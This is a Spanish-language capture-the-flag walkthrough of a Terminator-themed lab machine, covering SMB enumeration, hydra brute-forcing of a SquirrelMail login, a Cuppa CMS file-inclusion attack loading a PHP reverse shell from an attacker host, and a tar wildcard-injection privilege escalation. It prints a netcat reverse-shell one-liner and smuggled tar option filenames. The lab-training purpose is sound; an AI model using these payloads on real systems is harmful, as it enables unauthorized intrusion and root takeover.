Introduction

Una máquina CTF basada en Terminator.

[!QUOTE] Hasta la vista, baby
¿Eres capaz de comprometer está máquina basada en Terminator?

Getting the Flags
Reconocimiento Inicial
Comenzaremos haciendo un escaneo de puertos abiertos.

Ahora analizaremos los puertos abiertos más en profundidad.

Con esto ya vemos que es muy probable que haya que hacer algo con SMB.
Vamos a seguir con el reconocimiento. Vamos a listar directorios web de momento.

Vamos a ver qué hay en la web.

Aparentemente es un buscador.

Está aparentemente muerto.
Si entramos en alguno de los directorios listados por dirsearch podemos ver lo siguiente:

Si le damos a ir a la página de login:

Vamos a mirar más directorios.

Podría ser interesante.

Hemos encontrado un ID, puede que nos sirva más adelante.

Ahora sabemos que el plugin info para SquirrelMail no valida la entrada pasada al servidor IMAP.
Visto todo lo que hay en la web vamos ahora a intentar listar el servicio SMB.

Profundización
Vamos a ver qué hay dentro de SMB.

Por aquí el de anonymous.
Vamos a ver qué contienen estos archivos.

Vamos a ver el contenido.
attention.txt:
log1.txt:
Parecen contraseñas.log2.txtylog3.txt:
Explotación
Con la lista de contraseñas que hemos sacado vamos a lanzar un ataque contra SSH al usuario milesdyson.

Esto significa que lo más probable es que sean contraseñas de SquirrelMail. Abriremos BurpSuite para interceptar un intento de login y ver cómo funciona.

Vamos a usar hydra para bruteforcear el formulario. Vamos a ver primero el resultado de un login fallido.

Usaremos el "Unkown user or password incorrect." para filtrar negativamente en hydra.

Aquí tenemos la contraseña.
Al iniciar sesión obtenemos:

Hay varios correos, vamos a revisar su contenido.

Ese es el de abajo.

Este el del medio. Si lo traducimos:

Lo "mismo" de antes.
Y por último, el de arriba.

Este parece ser el más interesante, los otros dos son como un acertijo que todavía no comprendo.
Vamos a entrar en el SMB de milesdyson.

Parece que hay un archivo importante, así que vamos a leerlo.

Acabamos de encontrar el directorio escondido.

Vamos a ver qué directorios encontramos por aquí.

Vamos a ver qué hay en ese directorio.

Parece ser un login.
Si miramos el código fuente vemos que hay un formulario por si se olvida la contraseña:

Vamos a eliminar el comentario. Para ello:
- Interceptamos una petición en Burp.

- Le damos a
Do intercept -> response to this request:
- Le damos a forward y al recibir la respuesta eliminamos el comentario.

- Le volvemos a dar a forward y miramos la página web.

Ahora aparece algo que antes no estaba.
Vamos a darle click ahí.

Sacamos el email de milesdyson de un correo de antes:

Lo introducimos y vamos a la bandeja de entrada.
No sale nada, por lo que es un punto muerto. Sin embargo, recordamos que nos han hecho una pregunta en el reto sobre LFI, ¿irá por ahí? No creo, ¿no?...
Vamos a mirar en Exploit-DB.

Pues parece que sí que iba por aquí.
El exploit cuenta que se puede provocar una LFI tanto como RFI debido a un bug en la línea 22 del código, el cual permite ejecutar PHP.
<?php include($_REQUEST["urlConfig"]); ?>
Vamos a configurar una reverse shell de PHP y un listener.

Ahora servimos el archivo:

Introducimos la URL:
http://skynet.thm/[REDACTED]/administrator/alerts/alertConfigField.php?urlConfig=http://IP_ATACANTE:5555/cuppa.php
[!IMPORTANT] El
[REDACTED]quiere decir que es secreto, es una de las preguntas, ahí debe ir el directorio que has encontrado en la notaimportant.txt.
Y de esa manera obtenemos la shell, que procedemos a estabilizar.

Vamos a buscar la flag de usuario.
Escalada de Privilegios
Para la escalada de privilegios vamos a comenzar por la técnica más sencilla.

Después de probar varias técnicas llegamos a la crontab:

El usuario root ejecuta /home/milesdyson/backups/backup.sh cada minuto. Vamos a ver de qué se trata.

Parece que no podemos editar ni uno ni otro, pero backup.sh parece que se mueve hasta /var/www/html y crea un backup con tar de todo lo que haya en el directorio. El problema recae en la wildcard (*). Eso hace que sea vulnerable porque si hay archivos con nombres especiales (entiéndase especiales como nombres similares o iguales que opciones de tar, este los usará como si fueran opciones en lugar de archivos). Esta técnica se conoce como wildcard injection, en este caso contra tar.
La forma más común de ejecutar este exploit es llamando a dos archivos así:
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.128.67 4444 >/tmp/f" > shell.sh touch -- "--checkpoint=1" touch -- "--checkpoint-action=exec=sh shell.sh"
Abrimos un listener antes de escribirlo.

Pegamos los comandos:

Y si volvemos a la consola del listener y esperamos:

Vamos a leer la flag de root.
Conclusión
Una máquina jugosita, con muchos temas a tratar y muy divertida. Hemos visto:
- Enumeración
- SMB
- Web
- Reverse shells
- Escalada de privilegios
¡Muy top!
